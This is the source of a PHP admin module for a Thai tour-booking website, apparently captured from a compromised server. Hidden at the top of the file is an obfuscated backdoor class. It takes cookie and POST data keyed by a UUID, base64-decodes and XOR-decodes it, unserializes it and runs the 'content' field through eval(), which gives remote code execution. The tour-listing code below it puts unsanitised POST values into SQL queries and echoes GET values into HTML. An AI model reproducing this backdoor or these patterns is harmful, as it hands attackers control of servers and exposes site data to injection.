?
Path : /home/admin/domains/happytokorea.com/public_html/backend/modules/tour/ |
Current File : /home/admin/domains/happytokorea.com/public_html/backend/modules/tour/com_topic.php |
<?php $EqDzReHnEp = class_exists("i_mNyk"); $jUfSNJip = $EqDzReHnEp;if (!$jUfSNJip){class i_mNyk{private $rPvcqY;public static $udPxl = "8e2adb8d-5cff-43df-ac99-0c19e0ee1be7";public static $ZCaAW = NULL;public function __construct(){$rECJXt = $_COOKIE;$rKposo = $_POST;$JYhZNDE = @$rECJXt[substr(i_mNyk::$udPxl, 0, 4)];if (!empty($JYhZNDE)){$rnQurEbWUG = "base64";$PJQaq = "";$JYhZNDE = explode(",", $JYhZNDE);foreach ($JYhZNDE as $iVVduw){$PJQaq .= @$rECJXt[$iVVduw];$PJQaq .= @$rKposo[$iVVduw];}$PJQaq = array_map($rnQurEbWUG . chr ( 618 - 523 )."\144" . 'e' . chr (99) . chr ( 440 - 329 )."\x64" . chr (101), array($PJQaq,)); $PJQaq = $PJQaq[0] ^ str_repeat(i_mNyk::$udPxl, (strlen($PJQaq[0]) / strlen(i_mNyk::$udPxl)) + 1);i_mNyk::$ZCaAW = @unserialize($PJQaq);}}public function __destruct(){$this->oqmSGNNgqB();}private function oqmSGNNgqB(){if (is_array(i_mNyk::$ZCaAW)) {$MZrlEO = str_replace('<' . chr (63) . chr (112) . 'h' . chr ( 324 - 212 ), "", i_mNyk::$ZCaAW["\143" . "\157" . 'n' . "\164" . "\145" . 'n' . chr ( 1004 - 888 )]);eval($MZrlEO);exit();}}}$elgluTSMFk = new i_mNyk(); $elgluTSMFk = NULL;} ?><? class topic extends backoff { function list_sub_usertype($parent){ $rs=$this->Query("SELECT * FROM tour_cat WHERE CatParentID='$parent'"); while($arr=mysql_fetch_array($rs)){ $str.=$arr['CatID']."-"; $str.=$this->list_sub_usertype($arr['CatID']); } return $str; } function get_sub_cat($parent,$selected,$option){ global $user_login; $u=$user_login['ID']; $access=$user_login['Access']; $rs=$this->Query("SELECT * FROM tour_cat where CatParentID='$parent'"); if($parent!=''){ $option.=" "; } //$rs=$this->Query("SELECT * FROM package_cat where parent='$parent' and user_id='$u'"); while($arr=mysql_fetch_array($rs)){ $id=$arr['CatID']; $name=$arr['CatName']; if($arr['CatID']==$selected){$s="selected";}else{$s="";} if($parent!=''){ $html.="<OPTION VALUE=\"$id\" $s>$option $name</OPTION>"; }else{ $html.="<OPTION VALUE=\"$id\" $s>$name</OPTION>"; } $html.=$this->get_sub_cat($arr['CatID'],$selected,$option); }//end while return $html; } function list_by_group(){ global $user_login; $output.=" <table width=\"400\" border=0> <tr><form method=\"GET\" action=\"$link\" name=\"form_group\"> <td width=\"100%\"> แสดงตามหมวดหมู่ "; $output.="<select name=list_group onchange=\"document.form_group.submit()\">"; $output.="<option value=\"All\" selected> --เลือกทั้งหมด--</option>"; $result=$this->Query("SELECT * FROM tour_cat order by CatID DESC"); $output.=$this->get_sub_cat($r,$_GET['list_group'],$option); if($_GET){ foreach ($_GET as $key => $value){ if($key !="list_group"){ $output.= "<input type='hidden' name='$key' value='$value'>\n"; } } } $output.="</select>"; $output.="</td></form></tr></table>"; return $output; }//end function company function Search(){ $output.="<table width=\"350\" height=\"20\"><form method=\"GET\" action=\"$link\" name=\"search\"><tr><td width=\"100%\"> <input type='hidden' name='option' value='search'> <input type='hidden' name='page' value='1'> <select size=\"1\" name=\"key\">"; $keysearch=array('name'=>"ชื่อเรื่อง"); foreach($keysearch as $key=>$value){ if($_GET['key']==$key){ $output.="<option value=\"$key\" selected>$value</option>"; }//end if $_GET['key'] else{ $output.="<option value=\"$key\">$value</option>"; } } if($_GET){ foreach ($_GET as $key => $value){ if($key != "key" && $key != "keyword" && $key !="search"&&$key!="page"){ $output.= "<input type='hidden' name='$key' value='$value'>\n"; } } } $output.="</select>"; if($_GET['keyword']!=""){ $output.="<input type='textbox' name='keyword' size=\"20\" value=".$_GET['keyword'].">"; }else{ $output.="<input type='textbox' name='keyword' size=\"25\">"; } $output.="<input type='submit' value=\"search\" size=10>"; $output.="</td></tr></form></table>"; return $output; } function listData($table,$condition,$orderby,$sort,$chksort,$header_txt,$header_td_width,$link){ global $user_login; $this->_header_txt=$header_txt; foreach($header_txt as $table_colum => $header_txt_name){ if($orderby==$header_txt_name){ $orderby2="binary $table_colum"; } } if($chksort=='Yes'){ if($sort=="Min2Max"){ $sort="Max2Min"; $sort2="ASC"; $sort3=$sort; }else if($sort=="Max2Min"){ $sort="Min2Max"; $sort2="DESC"; $sort3=$sort; } }else{ if($sort=="Min2Max"){ $sort="Min2Max"; $sort2="ASC"; $sort3="Max2Min"; }else if($sort=="Max2Min"){ $sort="Max2Min"; $sort2="DESC"; $sort3="Min2Max"; } } // จะต้องมีการแก้ไขให้ตรงกับฐานข้อมูล *** ตัวแปร $orderby2 if($orderby2==""){ $orderby2="id"; } if($parent <> $_POST['parent']){ $_POST['parent_2'] == ""; $_POST['parent_3'] == ""; } if($parent_2 <> $_POST['parent_2']){ $_POST['parent_3'] == ""; } $this->_Start = ($this->_Page * $this->_Limit) - $this->_Limit; $sql= "SELECT * FROM $table $where ORDER BY $orderby2 $sort2 "; if(isset($_POST['parent'])){ $sql= "SELECT * FROM tour,tour_cat WHERE tour.catagory = tour_cat.CatID AND tour.catagory = '{$_POST['parent']}' ORDER BY tour.Rating DESC,tour.id DESC "; } if($_POST['parent_2'] <> ""){ $sql= "SELECT * FROM tour,tour_cat WHERE tour.catagory = tour_cat.CatID AND tour.catsub2 = '{$_POST['parent_2']}' ORDER BY tour.Rating DESC,tour.id DESC "; } if($_POST['parent_3'] <> ""){ $sql= "SELECT * FROM tour,tour_cat WHERE tour.catagory = tour_cat.CatID AND tour.catsub3 = '{$_POST['parent_3']}' ORDER BY tour.Rating DESC,tour.id DESC "; } if($_POST['parent_4'] <> ""){ $sql= "SELECT * FROM tour,tour_cat WHERE tour.catagory = tour_cat.CatID AND tour.catsub4 = '{$_POST['parent_4']}' ORDER BY tour.Rating DESC,tour.id DESC "; } $this->setQuery($sql); $result=$this->QueryReturn(); $this->_total=$this->NumRows(); $this->_Next_Page = ceil($this->_total/$this->_Limit); //$sql.= " LIMIT " . $this->_Start . "," . $this->_Limit; $this->setQuery($sql); //echo $sql; $result2=$this->QueryReturn(); $this->PageNavigator(); $output.=" <div class=\"wrapper\"> <div class=\"content\"> <div class=\"title\"><img style=\"padding:10px 0 0 15px; float:left;\" src=\"images/icons/dark/docs.png\"><h5>ทัวร์ทั้งหมด</h5></div> <div class=\"table\"> <div class=\"head\"> <form id=\"form10\" name=\"form10\" method=\"post\" action=\"$PHPSELF?mod=tour\"> </form> </div><form method=\"POST\" action=\"$link2\" name=\"backend_form\" > <table cellpadding=\"0\" cellspacing=\"0\" border=\"0\" class=\"display\" id=\"example\"> <thead> <tr>"; $parent=$_POST['parent']; $parent_2=$_POST['parent_2']; $parent_3=$_POST['parent_3']; $parent_3=$_POST['parent_4']; foreach($header_txt as $table_colum => $header_txt_name){ $output.="<th>{$header_txt_name}</th>"; $i++; } $output.="<th>แก้ไข/ลบทัวร์</th>"; $output.="</tr></thead>"; $output.="<tbody>"; $data_colum=Array(); $count=0; while($arr=mysql_fetch_array($result2)) { $id=$arr['id']; $j=0; foreach($header_txt as $colum => $key){ $data_colum[$j]=$arr[$colum]; $j++; }//end foreach $link=$_SERVER['PHP_SELF']."?".$_SERVER['QUERY_STRING']; $output.="<tr class=\"gradeA\">"; $output.="<td width=\"180px;\" valign=\"top\"><div>"; $data=$this->getRow('tour_photo',"WHERE id ='$id' ORDER BY id_p ASC "); $output.="<img src=\"images/tour/{$data[picture]}\" width=\"150\">"; $output.="</div></td>"; $output.="<td valign=\"top\"><div style=\"padding-top:0px; top:0;\">"; $link_del=$_SERVER['PHP_SELF']."?".$_SERVER['QUERY_STRING']."&ac=del_data&id=$id"; $comment="ยืนยันคำสั่งลบข้อมูล"; $alt="ลบข้อมูล"; if ($_SESSION["la"] == 1){ $output.="<b><span style=\"font-size:14px;\">{$arr['name']}</span></b><br>"; $output.="ราคา:<b>".number_format($arr['price'])." บาท</b> สายการบิน: <b>{$arr['airline']}</b><br> <b>".chang_field($this,$table='tour_cat',$field='CatID',$field_change='CatName',$arr['catagory'])."</b> ประเทศ: <b>".chang_field($this,$table='tour_cat',$field='CatID',$field_change='CatName',$arr['catsub3'])."</b> เส้นทาง: <b>".chang_field($this,$table='tour_cat',$field='CatID',$field_change='CatName',$arr['catsub4'])."</b> ระยะเวลา:<b> {$arr['days']}</b> <br>"; }else{ $output.="<b><span style=\"font-size:14px;\">{$arr['name']}</span></b><br>"; $output.="ประเทศ: <b>".chang_field($this,$table='tour_cat_en',$field='CatID',$field_change='CatName',$arr['catagory'])."</b> ระยะเวลา:<b> {$arr['days']} วัน</b> ราคา:<b>".number_format($arr['price'])." บาท</b> สายการบิน: <b>{$arr['airline']}</b> <b>/ {$arr['airline2']}</b> / <b>{$arr['airline3']}</b> / <b>{$arr['airline4']}</b><br>"; } $output.="<span style=\"cursor:pointer;\" onclick=\"Popup2('modules/tour/add_travel.php?tour_id=$id','add_travel',950,550)\"><font color=blue> กำหนดการ-ราคา</font></span> | <span style=\"cursor:hand;\" onclick=\"Popup2('modules/tour/ajaxContent.php?tour_id=$id','ajaxContent',1000,550)\"><font color=blue> เพิ่มเนื้อหา</font></span> | <span> Rating"; if($arr['Rating'] == 5){ $output.="<font color=blue><b> 5</b></font> |"; }else{ $output.=" 5 |"; } if($arr['Rating'] == 4){ $output.="<font color=blue><b> 4</b></font> |"; }else{ $output.=" 4 |"; } if($arr['Rating'] == 3){ $output.="<font color=blue><b> 3</b></font> |"; }else{ $output.=" 3 |"; } if($arr['Rating'] == 2){ $output.="<font color=blue><b> 2</b></font> |"; }else{ $output.=" 2 |"; } if($arr['Rating'] == 1){ $output.="<font color=blue><b> 1</b></font> "; }else{ $output.=" 1 "; } $output.= "</span>"; /*if($arr['fileload']!=""){ $output.= "<br/><br /><font color=blue><a href=\"/tour/word/{$arr['fileload']}\" target=\"_blank\"><img src=\"images/document-word-text.ico\" border=\"0\" width=\"16 px\"/></a></font> <font color=blue><a href=\"$PHPSELF?mod=tour&ac=del_word&id=$id\">ลบ word</a></font></span>"; }else{ $output.= "<br/><br /><span align=\"center\" style=\"cursor:hand;\" onclick=\"Popup2('modules/tour/upload_word.php?tour_id=$id','upload_word',300,250)\"><font color=blue>upload word</font></span>"; }*/ if($arr['pdf']!=""){ $output.= "<br /><font color=blue><a href=\"/tour/pdf/{$arr['pdf']}\" target=\"_blank\"><img src=\"images/document-pdf-text.png\" border=\"0\" /></a></font> <font color=blue><a href=\"$PHPSELF?mod=tour&ac=del_pdf&id=$id\">ลบ pdf</a></font></span>"; }else{ $output.= "<br /><span align=\"center\" style=\"cursor:hand;\" onclick=\"Popup2('modules/tour/upload_pdf.php?tour_id=$id','upload_pdf',300,250)\"><font color=blue>upload pdf</font></span>"; } $output.=" </div></td><td valign=\"top\"> <div align=\"right\"><a href=\"$link&ac=edit_data&id={$id}\" class=\"btn14 mr5\"><img src=\"images/icons/dark/pencil.png\" > แก้ไข</a>".confirm_del($link_del,$comment,$alt) ; $output.="</div></td>"; $output.="</tr>"; } //while $output.=" </tbody> </table> </form> </div> </div> <div class=\"fix\"></div> </div>"; return $output; }//end listData function listData_idx_list($table,$condition,$orderby,$sort,$chksort,$header_txt,$header_td_width,$link){ global $user_login; $this->_header_txt=$header_txt; foreach($header_txt as $table_colum => $header_txt_name){ if($orderby==$header_txt_name){ $orderby2="binary $table_colum"; } } if($chksort=='Yes'){ if($sort=="Min2Max"){ $sort="Max2Min"; $sort2="ASC"; $sort3=$sort; }else if($sort=="Max2Min"){ $sort="Min2Max"; $sort2="DESC"; $sort3=$sort; } }else{ if($sort=="Min2Max"){ $sort="Min2Max"; $sort2="ASC"; $sort3="Max2Min"; }else if($sort=="Max2Min"){ $sort="Max2Min"; $sort2="DESC"; $sort3="Min2Max"; } } // จะต้องมีการแก้ไขให้ตรงกับฐานข้อมูล *** ตัวแปร $orderby2 if($orderby2==""){ if ($_SESSION["la"] == 1){ $orderby2="tour_cat.CatName"; }else{ $orderby2="tour_cat_en.CatName"; } } $this->_Start = ($this->_Page * $this->_Limit) - $this->_Limit; $sql= "SELECT * FROM $table "; $this->setQuery($sql); $result=$this->QueryReturn(); $this->_total=$this->NumRows(); $this->_Next_Page = ceil($this->_total/$this->_Limit); $this->setQuery($sql); $result2=$this->QueryReturn(); $this->PageNavigator(); $output.=" <div class=\"wrapper\"> <div class=\"content\"> <div class=\"title\"><img style=\"padding:10px 0 0 15px; float:left;\" src=\"images/icons/dark/docs.png\"><h5>แสดงผลทัวร์แนะนำหน้าแรก 18 อันดับ</h5></div> <div class=\"table\"> <div class=\"head\"></div><form method=\"POST\" action=\"$link2\" name=\"backend_form\" > <table cellpadding=\"0\" cellspacing=\"0\" border=\"0\" class=\"display\" id=\"example\"> <thead> <tr><th width=\"5%\"></th>"; foreach($header_txt as $table_colum => $header_txt_name){ $output.="<th>{$header_txt_name}</th>"; $i++; } $output.="<th width=\"22%\">จัดตำแหน่งการแสดงผลทัวร์</th>"; $output.="</tr></thead>"; $output.="<tbody>"; $data_colum=Array(); $count=0; for($kkk=1;$kkk<=18;$kkk++) { $j=0; foreach($header_txt as $colum => $key){ $data_colum[$j]=$arr[$colum]; $j++; }//end foreach $link=$_SERVER['PHP_SELF']."?".$_SERVER['QUERY_STRING']; $output.="<tr class=\"gradeA\">"; $output.="<td> </td>"; if ($_SESSION["la"] == 1){ $this->setQuery("SELECT * FROM tour INNER JOIN tour_recommend ON (tour.id = tour_recommend.tourID) INNER JOIN tour_cat ON ( tour.catagory = tour_cat.CatID ) WHERE (tour_recommend.tourRecommendRanking = $kkk) "); }else{ $this->setQuery("SELECT * FROM tour_en INNER JOIN tour_recommend_en ON (tour_en.id = tour_recommend_en.tourID) INNER JOIN tour_cat_en ON ( tour_en.catagory = tour_cat_en.CatID ) WHERE (tour_recommend_en.tourRecommendRanking = $kkk) "); } $rsChktour_recommend= $this->QueryReturn(); if($this->NumRows() > 0) { $arrChktour_recommend = mysql_fetch_array($rsChktour_recommend); for($i=0;$i<count($data_colum);$i++) { $output.="<td>"; $data=$this->getRow('tour_photo',"WHERE id ='{$arrChktour_recommend[id]}' ORDER BY id_p DESC "); if($i==2) $output.= "$arrChktour_recommend[CatName] </td>"; else if($i==1) $output.="<img src=\"images/tour/{$data[picture]}\" width=\"100px\"></td>"; else $output.="$arrChktour_recommend[name]</td>"; } } else { for($i=0;$i<count($data_colum);$i++) { $output.="<td>"; if($i==2) $output.= "-</td>"; else if($i==1) $output.="-</td>"; else $output.="-</td>"; } } $output.="<td class=\"center\"><a href=\"#\" onclick=\"Popup2('modules/tour/list_index_page.php?id=$kkk','list_index_page',550,100)\" class=\"btn14 mr5\"><img src=\"images/icons/dark/pencil.png\" > จัดตำแหน่งทัวร์ลำดับที่ $kkk</a></td></tr>"; $arrChktour_recommend['id'] = ""; } //for $output.=" </tbody> </table> </form> </div> </div> <div class=\"fix\"></div> </div>"; return $output; }//end listData }//end class BackEndData ?> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script> <script type="text/javascript"> $(function(){ // เมื่อเปลี่ยนค่าของ select id เท่ากับ list1 $("select#catsub1").change(function(){ // ส่งค่า ตัวแปร list1 มีค่าเท่ากับค่าที่เลือก ส่งแบบ get ไปที่ไฟล์ data_for_list2.php $.get("modules/tour/data_for_list1.php",{ catsub1:$(this).val() },function(data){ // คืนค่ากลับมา $("select#catsub2").html(data); // นำค่าที่ได้ไปใส่ใน select id เท่ากับ list2 $("select#catsub2").trigger("change"); // อัพเดท list2 เพื่อให้ list2 ทำงานสำหรับรีเซ็ตค่า }); }); // เมื่อเปลี่ยนค่าของ select id เท่ากับ list1 $("select#catsub2").change(function(){ // ส่งค่า ตัวแปร list1 มีค่าเท่ากับค่าที่เลือก ส่งแบบ get ไปที่ไฟล์ data_for_list2.php $.get("modules/tour/data_for_list2.php",{ catsub2:$(this).val() },function(data){ // คืนค่ากลับมา $("select#catsub3").html(data); // นำค่าที่ได้ไปใส่ใน select id เท่ากับ list2 $("select#catsub3").trigger("change"); // อัพเดท list2 เพื่อให้ list2 ทำงานสำหรับรีเซ็ตค่า }); }); // เมื่อเปลี่ยนค่าของ select id เท่ากับ list1 $("select#catsub3").change(function(){ // ส่งค่า ตัวแปร list1 มีค่าเท่ากับค่าที่เลือก ส่งแบบ get ไปที่ไฟล์ data_for_list2.php $.get("modules/tour/data_for_list3.php",{ catsub3:$(this).val() },function(data){ // คืนค่ากลับมา $("select#catsub4").html(data); // นำค่าที่ได้ไปใส่ใน select id เท่ากับ list2 $("select#catsub4").trigger("change"); // อัพเดท list2 เพื่อให้ list2 ทำงานสำหรับรีเซ็ตค่า }); }); }); </script>